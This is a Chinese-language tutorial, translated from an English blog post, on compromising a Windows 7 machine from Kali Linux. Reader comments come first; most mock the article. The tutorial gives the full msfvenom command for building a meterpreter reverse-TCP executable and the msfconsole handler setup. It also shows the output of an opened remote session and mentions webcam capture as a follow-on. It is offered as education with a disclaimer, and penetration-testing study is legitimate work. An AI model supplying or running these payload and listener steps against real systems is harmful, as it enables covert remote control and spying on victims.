如何使用 Kali Linux 黑掉 Windows
请注意，我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
黑客 攻击 MSF Kali
118.247.178.41
破解之前应该标注一下Windows的具体版本号，这种漏洞应该已经被fix了吧！
拿铁不加糖 [Chrome 56.0|Windows 10]
2017-02-11T16:20:15.000
84.238.33.47
“如果你可以在目标机器上运行你的代码，则可以在目标机器上运行你的代码。”<br />
这篇文章没有任何基本的安全知识，真是“贻笑大方”。
来自丹麦的 Mobile Safari 10.0|iOS 10.2 用户
2017-02-12T08:02:59.000
120.236.174.159
“现在你需要在 Windows 上运行 program.exe”<br />
看到这里，我一口老血喷了出来。
来自广东的 Chrome 56.0|Windows 10 用户
2017-02-13T12:30:32.000
114.242.250.173
:-D
linux [Chrome 56.0|Mac 10.11]
2017-02-13T14:11:51.000
114.242.250.173
我开始也是以为……结果等我校对到这里是发现，也是一口老血喷到键盘上了……
linux [Chrome 56.0|Mac 10.11]
2017-02-13T14:12:36.000
114.249.218.187
“现在你需要在 Windows 上运行 program.exe”<br />
我就不说啥了！！！！！！现在正在吐血。
陳-鄭 [Firefox 51.0|Windows 7]
2017-02-15T16:14:39.000
106.86.153.106
也喷了一口老血
来自重庆的 Firefox 51.0|Windows 10 用户
2017-02-16T08:58:58.000
114.242.250.14
帮举盆接着 ……
linux [Chrome 56.0|Mac 10.11]
2017-02-16T18:21:47.000
112.64.0.102
至于怎么把program.exe运送到目标主机上并成功执行，那就看黑客的真实技术了。
来自上海的 Firefox 51.0|Windows 7 用户
2017-02-17T18:56:17.000
49.65.241.56
呵呵
来自江苏南京的 Chrome 56.0|Windows 7 用户
2017-02-20T13:48:21.000
111.43.240.221
不管是不是三鹿奶粉，，先插个眼。。。
Ghjoker [Firefox 45.0|GNU/Linux]
2017-03-31T19:26:43.000
14.127.83.181
我希望我能用我家的Kali按照你的方法黑进我们学校（滑稽）
来自广东深圳的 Firefox 68.0|GNU/Linux 用户
2020-08-04T16:42:43.000
14.127.83.181
我盆刚好被偷了。。。
来自广东深圳的 Firefox 68.0|GNU/Linux 用户
2020-08-04T16:43:54.000
14.127.83.181
拿U盘运送到目标机器里去（滑稽）
来自广东深圳的 Firefox 68.0|GNU/Linux 用户
2020-08-04T16:44:56.000
111.192.242.183
装作chatgpt发给别人（我被这样坑过）
来自北京的 Chrome 121.0|Windows 10 用户
2023-12-16T21:01:45.000
请注意，我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
Kali Linux 派生自 Debian Linux，主要用于渗透测试，拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一个用于开发和执行<ruby> 安全利用代码 <rp>  （ </rp> <rt>  security exploit </rt> <rp>  ） </rp></ruby>的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意，我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。


![](/data/attachment/album/201702/10/224036lcbuz28jyo3u4fo4.png)


### 源机器详情


Kali Linux



```
root@kali:/# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:/#

```

用做攻击对象的目标机器：



```
Windows 7 Ultimate SP1

```

### 步骤 1：创建 Payload 程序


Payload 是一个类似于病毒或者木马的程序，可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload（`program.exe`），以便能使用 Kali Linux 黑掉 Windows。



```
root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /root/program.exe
root@kali:/# ls -la /root/program.exe
-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe

```

通过 `ls` 命令，我们可以确认 Payload 程序是否成功生成在指定的位置。


### 步骤 2：运行 `mfsconsole` 命令启动 msf 命令窗口



```
root@kali:# msfconsole


                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.12.22-dev                         ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

```

### 步骤 3：进行漏洞利用的细节


* 4444 端口：你可以按照自己的想法来选择使用哪个端口
* LHOST IP：表示 Kali Linux 机器的 IP，这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。



```
root@kali:/# ip r l
192.168.189.0/24 dev eth0  proto kernel  scope link  src 192.168.189.128  metric 100
root@kali:/#

```

现在在 msf 命令窗口使用 `use exploit/multi/handler` 命令，如下：



```
msf > use exploit/multi/handler
msf exploit(handler) >

```

然后在接下来的命令窗口中使用命令 `set payload windows/meterpreter/reverse_tcp`：



```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

```

现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口，如下：



```
msf exploit(handler) > set lhost 192.168.189.128
lhost => 192.168.189.128
msf exploit(handler) > set lport 4444
lport => 4444

```

最后使用 `exploit` 命令。



```
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...

```

现在你需要在 Windows 上运行 `program.exe`，一旦它在目标机器上执行，你就可以建立一个 meterpreter 会话。输入 `sysinfo` 就可以得到这台被黑掉的 Windows 机器的详情。



```
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000

meterpreter > sysinfo
Computer        : MANN-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_IN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32

```

一旦你得到了这些详细信息，就可以做更多的漏洞利用，或者通过 `help` 命令获取更多信息，以便列出你可以黑掉该系统的所有选项，比如 `webcam_snap` 命令获取网络摄像头，同样你还可以使用其他更多的可用选项。祝你入侵愉快！！！！ ←\_←




---


作者简介：


嗨，我是 Manmohan Mirkar。很高兴认识你。我接触 Linux 是在十年前，我做梦也没想到我有现在这样的收获。我的愿望就是让你学到 Linux 的知识，谢谢你的阅读。


译者简介：


[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。




---


via: <http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/>


作者：[Manmohan Mirkar](http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/) 译者：[GHLandy](https://github.com/GHLandy) 校对：[wxy](https://github.com/wxy)


本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出

